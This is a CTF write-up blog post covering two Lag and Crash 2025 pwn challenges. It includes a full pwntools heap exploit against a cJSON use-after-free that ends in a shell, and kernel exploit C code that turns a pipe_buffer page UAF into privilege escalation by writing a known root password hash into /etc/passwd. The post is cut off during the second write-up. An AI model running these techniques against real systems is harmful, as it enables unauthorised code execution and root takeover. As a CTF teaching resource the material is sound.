Lag and Crash 2025
author
samuzora
12 Jul 2025
25 min read
Contents

For Lag and Crash this year, I wrote 2 pwn challenges, feedback-form and Trump Dating Simulator, which were released in waves 1 and 3 respectively. Both challenges incorporated some interesting stuff I thought of during my infinite admin time in NS, so I hope it was fun and educational for everyone! These are my writeups for my challenges, as well as other interesting pwn challenges by other authors in the CTF!

I didn’t have much time to do writeups, so I’ll update this at some later date with the writeup for Trump Dating Simulator

feedback-form

0 solves

feedback-form

Please give us a 5-star rating!

Submit

Not sure why this challenge had so few solves, did people not want to submit feedback? /j

Analysis

This challenge is all about exploiting the cJSON struct. All input is parsed as JSON objects, and looking at the actions we can perform:

{"actions": ["get_feedback", "show_feedback"]}

we realize it’s quite limited as compared to a normal heap challenge, so exploiting the management of the cJSON objects we have control over is key.

The program accepts feedback in the form of this JSON object:

{
  "username": "asdf",
  "ratings": [5, 5, 5]
}

After submitting feedback, any ratings that are less than 5 will be deleted from the object. The object is then stored in a global pointer, which we can view later at some point in time. If feedback is submitted again, the previous feedback is freed and replaced with the new feedback.

Though source wasn’t given, the binary isn’t meant to be hard to reverse, and the only barrier to reversing might be the absence of the cJSON type, which can be easily added in IDA by opening the “Local Types” view under View > Open subviews > Local types and copy-pasting the type definition from the Github repo.

Vulnerability

Under get_feedback, we see the bug in how the non 5-star ratings are deleted:

  for ( i = ObjectItem->child; i; i = i->next )
  {
    if ( i->type != 8 || i->valueint <= 4 )
    {
      cJSON_Delete(i);
      return puts(
               "{\"success\": true, \"message\": \"any ratings less than 5 stars have been removed, thank you for your va"
               "lued feedback\"}");
    }
  }

It’s hard to notice just by reading the decompilation, because this usage of cJSON_Delete doesn’t seem suspicious at all. However, if we try viewing the feedback after submitting a feedback with non-5-star ratings, the program will crash. This should hopefully lead us to investigate how cJSON_Delete works, and why it shouldn’t be used on children objects.

_int64 *__fastcall cJSON_Delete(cJSON *a1)
{
  __int64 *result; // rax
  __int64 *next; // [rsp+18h] [rbp-8h]
 
  while ( a1 )
  {
    next = (__int64 *)a1->next;
    if ( (a1->type & 0x100) == 0 && a1->child )
      cJSON_Delete(a1->child);
    if ( (a1->type & 0x100) == 0 && a1->valuestring )
    {
      (*(&global_hooks + 1))(a1->valuestring);
      a1->valuestring = 0LL;
    }
    if ( (a1->type & 0x200) == 0 )
    {
      if ( a1->string )
      {
        (*(&global_hooks + 1))(a1->string);
        a1->string = 0LL;
      }
    }
    (*(&global_hooks + 1))(a1);
    result = next;
    a1 = (cJSON *)next;
  }
  return result;
}

We can see that the implementation will loop through and delete all items of an object’s linked list. However, it doesn’t actually go back to the previous item in the linked list, which means that deleting a child object instead of the root parent object will likely result in UAF.

Upgrading the UAF

Let’s take a look at our new and shiny UAF object.

typedef struct cJSON
{
    /* next/prev allow you to walk array/object chains. Alternatively, use GetArraySize/GetArrayItem/GetObjectItem */
    struct cJSON *next;
    struct cJSON *prev;
    /* An array or object item will have a child pointer pointing to a chain of the items in the array/object. */
    struct cJSON *child;
 
    /* The type of the item, as above. */
    int type;
 
    /* The item's string, if type==cJSON_String  and type == cJSON_Raw */
    char *valuestring;
    /* writing to valueint is DEPRECATED, use cJSON_SetNumberValue instead */
    int valueint;
    /* The item's number, if type==cJSON_Number */
    double valuedouble;
 
    /* The item's name string, if this item is the child of, or is in the list of subitems of an object. */
    char *string;
} cJSON;

As can be seen, the next and prev pointers overlap with the fd and bk pointers of freed chunks, which is most likely what caused our program to crash - the cJSON_PrintUnformatted function tries to dereference the encrypted fd pointer of a tcache chunk and SIGSEGVs. There are quite a few other fields from which we can possibly get our leak from, like valuestring, valueint etc. Unfortunately, we see that when creating a new cJSON object, the entire object is cleared before being used:

void *__fastcall cJSON_New_Item(__int64 (__fastcall **a1)(__int64))
{
  void *s; // [rsp+18h] [rbp-8h]
 
  s = (void *)(*a1)(64LL);
  if ( s )
    memset(s, 0, 0x40uLL);
  return s;
}

Therefore, in order to get these fields to leak some heap/libc pointers, we either need to overwrite them using the UAF, or groom the heap such that the start of an unsorted chunk lies exactly 0x10 before a field we want to use to leak. Since we don’t have any leaks, only the latter option is viable for now (we can use the former for a secondary leak later).

Seeding the heap

Tcache chunks aren’t useful for our leak at the moment, as its only leak via the fd pointer is encrypted and hence can’t be dereferenced, but it doesn’t align with valueint, so we basically can’t use it as a leak. In addition, it’s much easier to do the feng shui with an unsorted chunk instead, as it can be split into remainder chunks when serving allocation requests smaller than its size. This allows us to adjust the position of the main_arena pointer very precisely, by allocating a smaller chunk of a specific size, without having to do too much feng shui.

Having said that, we should want to move our tcache/fastbin size allocations to a common area so that they don’t interfere with our desired unsorted chunks. We can do this by “seeding” the heap with enough chunks of required sizes. This way, they’ll be already allocated and freed on the heap, and will be reused for future requests, leaving our desired fastbin/unsorted chunks contiguous and intact.

def seed_heap_for_fengshui():
    # we can use strings to get custom sizes too
    json_payload = {
      "a": ["a"*(seeded_size), 1, 2, 3]
    }
    payload = json.dumps(json_payload).encode()
    p.sendlineafter(b">", payload)

We can always modify this seeding process later to suit our needs. Now, let’s create the UAF and try to align unsorted pointers with valuestr.

Getting a heap leak

seeded_size = 0x510
def create_freed_chunks():
    p.sendlineafter(b">", b'{"action": 0}')
 
    json_payload = {
        "ratings": [
            {"a"*0x40: ["a"*(seeded_size), 7, 7, 7, 7, 7, 7, 7]}
        ],
        "username": "b"*0x8
    }
    payload = json.dumps(json_payload).encode()
    p.sendlineafter(b">", payload)
 
def perform_heap_leak():
    # do initial alloc to put main_arena pointers at uaf.valuestring
    payload = b'"'
    payload += b"a"*(0x4d0)
    payload += b'"'
    p.sendlineafter(b">", payload)
 
    misalign_payload = b"a"*0x4c0
    misalign_payload += b"\\u0000" * 8
    misalign_payload += b"\\u0000" * 8
    misalign_payload += b"\\u0000" * 8
    misalign_payload += b"\\u0010" + b"\\u0000" * 6
 
    json_payload = {
        "action": 1,
        "DEADBEEF": 1,
    }
    payload = json.dumps(json_payload).encode()
    payload = payload.replace(b"DEADBEEF", misalign_payload)
 
    p.clean()
    p.sendline(payload)

In create_freed_chunks(), we create a really long string of length 0x510. This string will be freed since its type doesn’t match the cJSON_Number type. We’ll be using this for our UAF.

Between create_freed_chunks() and perform_heap_leak(), let’s inspect the heap state.

Free chunk (largebins) | PREV_INUSE
Addr: 0x555555572400
Size: 0x420 (with flag bits: 0x421)
fd: 0x155555403f10
bk: 0x155555403f10
fd_nextsize: 0x555555572400
bk_nextsize: 0x555555572400
 
Free chunk (fastbins)
Addr: 0x555555572820
Size: 0x50 (with flag bits: 0x50)
fd: 0x5550000276c2
 
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555555572870
Size: 0x520 (with flag bits: 0x521)
fd: 0x555555572f20
bk: 0x155555403b20

These are our 2 large string chunks, separated by our freed UAF object, at 0x555555572820. Since they’re separated by a fastbin chunk, we can merge them together using malloc_consolidate to form 1 really large unsorted chunk. Then, we’ll use this chunk and align the UAF over its main_arena pointers.

def perform_heap_leak():
    # do initial alloc to put main_arena pointers at uaf.valuestring
    payload = b'"'
    payload += b"a"*(0x4d0)
    payload += b'"'
    p.sendlineafter(b">", payload)
 
    misalign_payload = b"a"*0x4c0
    misalign_payload += b"\\u0000" * 8
    misalign_payload += b"\\u0000" * 8
    misalign_payload += b"\\u0000" * 8
    misalign_payload += b"\\u0010" + b"\\u0000" * 6
 
    json_payload = {
        "action": 1,
        "DEADBEEF": 1,
    }
    payload = json.dumps(json_payload).encode()
    payload = payload.replace(b"DEADBEEF", misalign_payload)
 
    p.clean()
    p.sendline(payload)

In perform_heap_leak(), we allocate a string that is larger than the unsorted chunk, which triggers malloc_consolidate coalescing all our chunks together. This chunk is immediately freed, which returns it back to the coalesced chunk, forming a chunk of size 0xa30.

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555555572360
Size: 0xa30 (with flag bits: 0xa31)
fd: 0x155555403b20
bk: 0x155555403b20

Now, we allocate a string that is just short enough such that the remainder chunk starts exactly at valuestring-0x10 of our UAF string (which was the 0x50 fastbin chunk from earlier), causing main_arena pointer to be placed at uaf->valuestring. Since we also did the view_feedback action when writing to our UAF, the JSON object will be immediately printed, with our UAF object now a JSON string pointing to main_arena, with its contents being a heap leak. Additionally, since we can now control the next pointer of the UAF object, we can set it to NULL to prevent the program from reaching non-dereferencable tcache chunks.

{"action": "show_feedback"}
{"ratings":["\xb0q,H\xb9X"],"username":"bbbbbbbb"}
{"actions": ["get_feedback", "show_feedback"]}
/* example input */ {"action": 0}
> 

Arbitrary read

It’s trivial to do our libc leak now, because we can directly overwrite an address with some other address on the heap. Recalling the state of the heap, the objects we allocated earlier should now be freed. However, we notice that we now have tcache chunks between our previously consolidated unsorted chunk, but it’s not so important now that we can overwrite addresses.

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555555572360
Size: 0x570 (with flag bits: 0x571)
fd: 0x5555555729e0
bk: 0x155555403b20
 
Free chunk (tcachebins)
Addr: 0x5555555728d0
Size: 0x40 (with flag bits: 0x40)
fd: 0x555555572
 
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x555555572910
Size: 0xd0 (with flag bits: 0xd1)
fd: 0x555555572
 
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5555555729e0
Size: 0x3b0 (with flag bits: 0x3b1)
fd: 0x155555403b20
bk: 0x555555572360

Recalling that our UAF object is still at 0x555555572820, we can use the first unsorted chunk to fake our object. However, we need to be careful that the total length of the encoded string doesn’t exceed 0x560 bytes, if not the string won’t be allocated from the correct chunk.

def perform_libc_leak():
    assert heap_leak != 0x0
 
    misalign_payload = b"b"*0x4c0
    misalign_payload += b"\\u0000" * 8
    misalign_payload += b"b" * 8
    misalign_payload += b"\\u0000" * 8
    misalign_payload += b"\\u0010" + b"\\u0000" * 7
    misalign_payload += cjson_pack(heap_leak - 0x78)
 
    json_payload = {
        "action": 1,
        "DEADBEEF": 1,
    }
    payload = json.dumps(json_payload).encode()
    payload = payload.replace(b"DEADBEEF", misalign_payload)
 
    p.clean()
    p.sendline(payload)

Arbitrary free and win

With a libc leak, our exploit is almost complete. Using the same UAF object, we attack its child pointer for an arbitrary free, making it point to a fake cJSON object of our own. This cJSON object will be passed to cJSON_Delete, where both itself and its valuestring will be freed. If we make its valuestring point to some region within itself, we will then have overlapping chunks which can be used for our arb write.

Exploit

def arb_free():
    assert heap_leak != 0x0
 
    fake_obj_addr = heap_leak - 0xe20
 
    misalign_payload_0  = b""
    misalign_payload_0 += b"c"*8
    misalign_payload_0 += b"c"*8
    misalign_payload_0 += b"\\u0000" * 8
    misalign_payload_0 += b"\\u0001" + b"\\u0002" + b"\\u0000" * 6 # fake chunk
    misalign_payload_0 += b"\\u0000" * 8 # next
    misalign_payload_0 += b"c" * 8
    misalign_payload_0 += b"\\u0000" * 8 # child
    misalign_payload_0 += b"\\u0000" + b"\\u0002" + b"\\u0000" * 6 # type = cJSON_String
    misalign_payload_0 += cjson_pack(heap_leak - 0xdf0) # valuestring
    misalign_payload_0 += b"\\u0001" + b"\\u0002" + b"\\u0000" * 6 # fake chunk
    misalign_payload_0 += b"c" * 8
    misalign_payload_0 += b"c" * 8
    misalign_payload_0 += cjson_pack(0x0) # string
    misalign_payload_0 += b"c"*(0x4c0 + 0x20 - len(misalign_payload_0))
 
    misalign_payload_1  = b""
    misalign_payload_1 += b"d" * 0x8
    misalign_payload_1 += cjson_pack(0x51)
    misalign_payload_1 += cjson_pack(fake_obj_addr)
    misalign_payload_1 += b"d" * 8
    misalign_payload_1 += cjson_pack(0x0)
    misalign_payload_1 += cjson_pack(0x300)
    misalign_payload_1 += b"d" * (0xb0 - len(misalign_payload_1))
 
    json_payload = {
        "action": 0,
        "DEADBEEF": "CAFEBABE",
    }
 
    payload = json.dumps(json_payload).encode()
    payload = payload.replace(b"DEADBEEF", misalign_payload_0)
    payload = payload.replace(b"CAFEBABE", misalign_payload_1)
    p.sendlineafter(b">", payload)
 
    p.sendlineafter(b">", b"a")
 
def house_of_apple():
    assert libc.address != 0x0 and heap_leak != 0x0
 
    stdout_addr = libc.address + 0x2045c0
 
    # overwrite fd pointer of overlapping 0x200 chunk
    payload_0  = b""
    payload_0 += b"e"*0x18
    payload_0 += cjson_pack(0x201)
    payload_0 += cjson_pack(fastbin_encrypt(heap_leak - 0xe20, stdout_addr))
    payload_0 += b"e"*(0x400 - len(payload_0))
 
    json_payload = {
        "action": 0,
        "DEADBEEF": 1
    }
    payload = json.dumps(json_payload).encode()
    payload = payload.replace(b"DEADBEEF", payload_0)
    p.sendlineafter(b">", payload)
 
    wide_data_addr = heap_leak - 0xe20
 
    wide_data  = b""
    wide_data += cjson_pack(libc.sym.system)
    wide_data += b"w"*(0x18 - 0x0 - 0x8)
    wide_data += cjson_pack(0x0)
    wide_data += b"w"*(0x30 - 0x18 - 0x8)
    wide_data += cjson_pack(0x0)
    wide_data += b"w"*(0xe0 - 0x30 - 0x8)
    wide_data += cjson_pack(wide_data_addr - 0x68)
    wide_data += b"w"*(0x200 - len(wide_data))
 
    wfile_jumps = libc.address + 0x202228
 
    fake_file  = b""
    fake_file += cjson_pack(u64(b"  sh".ljust(8, b"\x00")))
    fake_file += b"f"*(0x20 - 0x0 - 0x8)
    fake_file += cjson_pack(0x0)
    fake_file += cjson_pack(0x1)
    fake_file += b"f"*(0x88 - 0x28 - 0x8)
    fake_file += cjson_pack(heap_leak)
    fake_file += b"f"*(0xa0 - 0x88 - 0x8)
    fake_file += cjson_pack(wide_data_addr)
    fake_file += b"f"*(0xc0 - 0xa0 - 0x8)
    fake_file += cjson_pack(0x0)
    fake_file += b"f"*(0xd8 - 0xc0 - 0x8)
    fake_file += cjson_pack(wfile_jumps)
    fake_file += b"f"*(0x210 - len(fake_file))
 
    json_payload = {
        "DEADBEEF": "CAFEBABE"
    }
    payload = json.dumps(json_payload).encode()
    payload = payload.replace(b"DEADBEEF", wide_data)
    payload = payload.replace(b"CAFEBABE", fake_file)
    print(payload)
 
    p.sendlineafter(b">", payload)
[+] Opening connection to chal1.lagncra.sh on port 8546: Done
0x60faf79261b0
0x7999a542f000
b'{"PwH\xa5\x99y\\u0000\\u0000wwwwwwwwwwwwwwww\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000wwwwwwwwwwwwwwww\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww(S\x92\xf7\xfa`\\u0000\\u0000wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww": "  sh\\u0000\\u0000\\u0000\\u0000ffffffffffffffffffffffff\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0001\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\xb0a\x92\xf7\xfa`\\u0000\\u0000ffffffffffffffff\x90S\x92\xf7\xfa`\\u0000\\u0000ffffffffffffffffffffffff\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000ffffffffffffffff(\\u0012c\xa5\x99y\\u0000\\u0000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"}'
[*] Switching to interactive mode
 $ ls
flag.txt
run
$ cat flag.txt
LNC25{"solved":true,"response":"h0pe_y0u_enj0y3d_th3_ctf"}

Utility Pole Revengeance

0 solves

Utility Pole Revengeance

ROP LLC’s new data center is managed by sysadmin Jack, who spends all of his time turning the pages of his books instead of securing the server. As one of our trusted operatives, surely you can root the server and show Jack that he should stop laughing at cat memes during company hours? Login credentials are jack:jack, and the flag is in /dev/sdb.

Note: This challenge can be solved independently of Utility Pole: Revenge (Pt 1), but solving part 1 would grant you access to the source code of the kernel module.

Submit

This challenge was set by Kaligula, and it’s a kernel pwn challenge as usual! I’m excited to try out her challenge and learn more new kernel stuff.

Analysis

case CREATE_SECRET_MESSAGE: {
    size = user_data.size; 
    if (secret_message_created == 1) {
        pr_info("Secret message has already been created!\n"); 
        mutex_unlock(&mod_mutex);
        return -1; 
        break;
       }
    secret_msg = kzalloc(sizeof(struct secret_message), GFP_KERNEL_ACCOUNT);
    message_buf = kzalloc(size * 2, GFP_KERNEL_ACCOUNT); 
    secret_msg->size = size; 
    secret_msg->message = (uint64_t)message_buf; 
    pr_info("Secret message created!\n"); 
    secret_message_created = 1;
    mutex_unlock(&mod_mutex); 
    return 0; 
    break;
}

The kernel module is quite simple. We can store a secret message of size <= 0x400 (it’s a uint16_t array so actual size is up to 0x800). The message is allocated with GFP_KERNEL_ACCOUNT, so it will be placed in cg caches.

case WRITE_SECRET_MESSAGE: {
    if (secret_message_written == 1) {
        pr_info("Secret message has already been
                written!\n"); 
        mutex_unlock(&mod_mutex); 
        return -1; 
        break;
    }
    if (secret_message_created == 0 || secret_msg == 0) {
        pr_info("Secret message does not exist!\n"); 
        mutex_unlock(&mod_mutex); 
        return -1; 
        break; 
    }
    size = secret_msg->size; 
    ret = copy_from_user(buf, (void __user *)
                               user_data.message, size);
    for (int i = 0; i < size; i++) {
        ((uint16_t*)secret_msg->message)[i] = buf[i];
    }
    ((uint16_t*)secret_msg->message)[size] = 0x0;
    pr_info("Secret message written!\n");
    secret_message_written = 1; 
    mutex_unlock(&mod_mutex); 
    return 0; 
    break;
}

When writing to the message, we have a 2-byte null-byte heap overflow which we can use to overwrite important objects that are allocated in cg caches. One such object that comes to mind is the struct pipe_buffer object.

struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};

Allocated in kmalloc-cg-1k, it has a struct page pointer at the very start of the struct which can be overwritten with the 2 null bytes. This will change the pointer from something like 0xffffea00002a4fc0 to 0xffffea00002a0000, which may end up overlapping with another struct page if we’re lucky (or if we spray enough).

struct page and struct pipe_buffer

We know that pipe_buffer is used to link 2 file descriptors together, such that we can write to one and read from the other. It does so through struct page, which tracks and manage references to a physical memory page. The underlying physical page is what we are writing to and reading from in the pipe_buffer. Initially, when allocated via creation of pipe_buffer, the struct page looks like this:

gef> x/8gx 0xffffea0000247540
0xffffea0000247540:     0x0100000000000000      0x0000000000000000
0xffffea0000247550:     0xdead000000000122      0x0000000000000000
0xffffea0000247560:     0x0000000000000000      0x0000000000000000
0xffffea0000247570:     0x00000001ffffffff      0xffff88800716ca82

The steps to manually convert a struct page into a physical address are very complicated, but basically this macro is used:

/*
 * Change "struct page" to physical address.
 */
#define page_to_phys(page)    ((dma_addr_t)page_to_pfn(page) << PAGE_SHIFT)

More info about how the kernel handles pages can be found here.

For our purposes, it isn’t very important to resolve the physical address anyway because we can’t access it via gdb unless it has a virtual address mapped to it, which isn’t the case for pipe_buffer’s struct page, as it’s mapped with GFP_HIGHUSER in pipe_write(), and high addresses don’t have a permanent virtual mapping in kernel according to the documentation linked above.

static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
  // ...
  if (!page) {
    page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
    if (unlikely(!page)) {
      ret = ret ? : -ENOMEM;
      break;
    }
    pipe->tmp_page = page;
  }
  // ...
}

struct page and the SLUB allocator

struct page is also used by the SLUB allocator to maintain a slab cache, from which it allocates objects (or nodes). A slab, like kmalloc-cg-1k, refers to the higher-order allocation used to hold a group of same-sized objects, and a slab cache is a linked list of slabs that are all used for a certain size/type of object. Allocations from kmalloc() or kmem_alloc_cache() follow this pipeline when looking for a suitable slab in the slab cache:

  1. Check the active slab if it has free nodes (aka the lockless freelist) - this is the fast path allocation.
  2. If the active slab is full, __slab_alloc() is called, where we check if we have any partial slabs. If a partial slab is found, we make this slab the new active slab, and allocate an object from here.
  3. If there are no partial slabs, then we need to create a new slab by allocating a new page. This is done via new_slab() which eventually calls alloc_page(), getting a page from the buddy allocator.

(All this logic can be found starting from __slab_alloc_node())


Now we know that a free page from pipe_buffer can be allocated for the SLUB allocator, the possibilities are endless! If we have a UAF on a pipe_buffer’s struct page, we can get the kernel to return the freed page for any object we wish, and then overwrite the objects allocated in our victim page using the pipe_buffer.

Exploit plan

Our plan is to spray struct file objects onto the victim page, and overwrite file->fmode_t, which will then allow us to change the permissions for that file. This will allow us to write to something sensitive like /etc/passwd, and we can then set the root password to something we know.

struct file {
  atomic_long_t     f_count;
  spinlock_t      f_lock;
  fmode_t       f_mode;
  const struct file_operations  *f_op;
  struct address_space    *f_mapping;
  void        *private_data;
  struct inode      *f_inode;
  unsigned int      f_flags;
  unsigned int      f_iocb_flags;
  const struct cred   *f_cred;
  /* --- cacheline 1 boundary (64 bytes) --- */
  struct path     f_path;
  union {
    /* regular files (with FMODE_ATOMIC_POS) and directories */
    struct mutex    f_pos_lock;
    /* pipes */
    u64     f_pipe;
  };
  loff_t        f_pos;
#ifdef CONFIG_SECURITY
  void        *f_security;
#endif
  /* --- cacheline 2 boundary (128 bytes) --- */
  struct fown_struct    *f_owner;
  errseq_t      f_wb_err;
  errseq_t      f_sb_err;
#ifdef CONFIG_EPOLL
  struct hlist_head   *f_ep;
#endif
  union {
    struct callback_head  f_task_work;
    struct llist_node f_llist;
    struct file_ra_state  f_ra;
    freeptr_t   f_freeptr;
  };
  /* --- cacheline 3 boundary (192 bytes) --- */
} __randomize_layout
  __attribute__((aligned(4)));  /* lest something weird decides that 2 is OK */

We know that struct file objects are allocated in the filp cache, based on the allocation path in alloc_empty_file():

// called from alloc_file
struct file *alloc_empty_file(int flags, const struct cred *cred)
{
  // ...
  f = kmem_cache_zalloc(filp_cachep, GFP_KERNEL);
  // ...
}
 
void __init files_init(void)
{
    struct kmem_cache_args args = {
        .use_freeptr_offset = true,
        .freeptr_offset = offsetof(struct file, f_freeptr),
      };
 
    filp_cachep = kmem_cache_create("filp", sizeof(struct file), &args,
                                            SLAB_HWCACHE_ALIGN | SLAB_PANIC |
                                            SLAB_ACCOUNT |
                                    SLAB_TYPESAFE_BY_RCU);
    percpu_counter_init(&nr_files, 0, GFP_KERNEL);
}

So what we want is to free the pipe_buffer’s struct page, and then allocate a filp struct page onto the victim page.

Pre-setup

Before we commence with the exploit, let’s do some setup to make our exploit success rate higher.

CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
 
open_dev();
pprintf("opened device on fd %d, starting exploit", fd);
 
// pre-spray some files to fill up filp cache
for (int i = 0; i < NUM_SPRAY_FILE; i++) {
   open("/etc/passwd", O_RDONLY);
}
 
for (int i = 0; i < pipe_buf_spray; i++) {
  buf[0] = i;
  assert(pipe(pipe_buf_fds[i]) != -1);
  write(pipe_buf_fds[i][1], buf, 0x30); 
  if (i == pipe_buf_spray / 2) {
    do_create_secret_message(0x400 / 2);
  }
}

First, we only want to use CPU0 so that our spray will be more consistent.

Second, we can do an initial spray of files to drain the filp cache of slabs, so that opening files later will most likely trigger the allocation of a new page.

Lastly, we spray pipe_buffers and insert the secret message inside the spray. In theory, the more pipe_buffers we spray, the higher chance we have for the exploit to succeed, since it’s more likely for a pipe_buffer’s struct page to be found at 0xXXXXXXXX0000. Strangely, it seems like if we spray too many pipe_buffers, the secret message has a lower chance to be allocated right before a pipe_buffer object, which causes the entire OOB to fail in the first place.

UAF time

user_req.size = 0x200;
user_req.message = *payload;
do_write_secret_message(&user_req);
 
// at this point we should have overwritten one of the pages
// lets find the victim pipe_buf
size_t original = 0;
size_t victim = 0;
for (int i = 0; i < pipe_buf_spray; i++) {
  size_t buf[2];
  assert(read(pipe_buf_fds[i][0], buf, 0x10) != -1);
  if (buf[0] != i) {
    assert(0 <= buf[0] && buf[0] < pipe_buf_spray);
    pprintf("found mismatch %p at idx %p", buf[0], i);
    *original = buf[0];
    *victim = i;
  }
}
 
// now close the original pipe_buffer
assert(close(pipe_buf_fds[original][0]) != -1);
assert(close(pipe_buf_fds[original][1]) != -1);

Now, we target the struct page pointer with the oob write. After doing so, we need a way to identify which pipe_buffer has been overwritten, and which pipe_buffer’s page it is now pointing to. In the initial spray, we wrote the index of the pipe_buffer to the start of the page. If we compare this index against the actual index in our code, we can then identify both the victim and original pipe_buffer.

Lastly, to free the struct page, we simply close both fds of the original pipe_buffer. Now, the freed page should look like this:

gef> x/8gx 0xffffea0000220000
0xffffea0000220000:     0x0100000000000000      0xffffea00007c2748
0xffffea0000220010:     0xffff88807dc31d60      0x0000000000000000
0xffffea0000220020:     0x0000000000000000      0x0000000000000000
0xffffea0000220030:     0x00000000ffffffff      0x0000000000000000

with fd and bk pointers to the freelist of pages. We still have reference to this struct page via the victim pipe_buffer, giving us our UAF.

Attacking struct file

// now we have page-level uaf via victim
// fill to the next file object
write(pipe_buf_fds[victim][1], &buf[5], 0x30);
 
// spray a few more files, no need for a lot since we already drained the filp beforehand
size_t final_file_spray = 0x200;
int filefds[final_file_spray];
for (int i = 0; i < final_file_spray; i++) {
    filefds[i]= open("/etc/passwd", O_RDONLY);
    assert(filefds[i] != -1);
}
 
uint32_t tmp[0x10];
tmp[0] = 0x1;
tmp[1] = 0x0;
tmp[2] = 0x0;
tmp[3] = 0x480e801f;
pprintf("%d", write(pipe_buf_fds[victim][1], tmp, 0x10));
pprintf("%s", strerror(errno));
 
char payload[] = "root:$1$deadbeef$j9ep0CjBGivAnD5z6l5rr0:0:0:root:/root:/bin/bash\n";
 
for (int i = 0; i < final_file_spray; i++) {
  if (write(filefds[i], payload, sizeof(payload)) > 0) {
    pprintf("write success at fptr %d! password is cafebabe", i);
    break;
  }
}

Before we spray the struct file again, we want to make the cursor of the victim pipe_buf point to the start of a potential struct file - which means it should be 0xc0 from the start of the page, pointing to the 2nd node of the filp cache since the size of struct file is 0xc0.

After this, we can spray a few more files to make sure the UAF page is allocated by buddy, and the slab’s 2nd node is also allocated by SLUB. The page now looks something like this, if successful:

gef> x/8gx 0xffffea0000220000
0xffffea0000220000:     0x0100000000000000      0xffff888003d41400
0xffffea0000220010:     0xdead000000000122      0x0000000000000000
0xffffea0000220020:     0x0000000000000000      0x0000000000150015
0xffffea0000220030:     0x00000001f5000000      0xffff88801f0873c1

The pointer at +0x8, if we view its contents, contains some string values that refer to “filp”, which is how we know the page has been successfully allocated for the filp slab cache.

0xffff888003d41400|+0x0000|+000: 0x00000000000322d0
0xffff888003d41408|+0x0008|+001: 0x0000000000022310
0xffff888003d41410|+0x0010|+002: 0x0000000000000005
0xffff888003d41418|+0x0018|+003: 0x000000b8000000c0
0xffff888003d41420|+0x0020|+004: 0x0000070155555556
0xffff888003d41428|+0x0028|+005: 0x0000007800000098
0xffff888003d41430|+0x0030|+006: 0x000000150000000c
0xffff888003d41438|+0x0038|+007: 0x0004000000000015
0xffff888003d41440|+0x0040|+008: 0x0000000000000001
0xffff888003d41448|+0x0048|+009: 0x0000000000000000
0xffff888003d41450|+0x0050|+010: 0x00000040000000b8
0xffff888003d41458|+0x0058|+011: 0x0000000000000000
0xffff888003d41460|+0x0060|+012: 0xffffffff828e8e9e <trunc_msg+0x1851f>  ->  0x5f736600706c6966 ('filp'?)
0xffff888003d41468|+0x0068|+013: 0xffff888003d41c68  ->  0xffff888003d41f68  ->  0xffff888003d3f768  ->  ...
0xffff888003d41470|+0x0070|+014: 0xffff888003d41068  ->  0xffff888003d41468  ->  0xffff888003d41c68  ->  ...
0xffff888003d41478|+0x0078|+015: 0xffffffff828e8e9e <trunc_msg+0x1851f>  ->  0x5f736600706c6966 ('filp'?)
0xffff888003d41480|+0x0080|+016: 0xffff888003d41c80  ->  0xffff888003d41f80  ->  0xffff888003d3f780  ->  ...
0xffff888003d41488|+0x0088|+017: 0xffff888003d41080  ->  0xffff888003d41480  ->  0xffff888003d41c80  ->  ...
0xffff888003d41490|+0x0090|+018: 0xffff888004d30f18  ->  0xffffffff828e6961 <trunc_msg+0x15fe2>  ->  0x5333010062616c73 ('slab'?)
0xffff888003d41498|+0x0098|+019: 0xffff888004d30f00  ->  0xffff888003edac80  ->  0xffff888003edaf80  ->  ...
0xffff888003d414a0|+0x00a0|+020: 0xffffffff8241d4a8 <slab_ktype>  ->  0xffffffff812ba730 <kmem_cache_release>  ->  0x88c78348fa1e0ff3
0xffff888003d414a8|+0x00a8|+021: 0xffff888004deda18  ->  0x000000000000001f <__UNIQUE_ID_description333+0x13>
0xffff888003d414b0|+0x00b0|+022: 0x0000000300000001
0xffff888003d414b8|+0x00b8|+023: 0xf20034324ab65020
0xffff888003d414c0|+0x00c0|+024: 0x00000000000003e8
0xffff888003d414c8|+0x00c8|+025: 0xffff888003c584e0  ->  0x00000d80000006c0
0xffff888003d414d0|+0x00d0|+026: 0x0000000000000000
0xffff888003d414d8|+0x00d8|+027: 0xffff888003d39d40  ->  0x0000000000000000
0xffff888003d414e0|+0x00e0|+028: 0x0000000000000000
0xffff888003d414e8|+0x00e8|+029: 0x0000000000000000
0xffff888003d414f0|+0x00f0|+030: 0x0000000000000000
0xffff888003d414f8|+0x00f8|+031: 0x0000000000000000

Once this is done, we attempt to write to a file object by writing to the victim pipe_buf. Before the write, the file looks like this:

gef> x/24gx 0xffff88801f0b60c0
0xffff88801f0b60c0:     0x0000000000000001      0x084a801d00000000
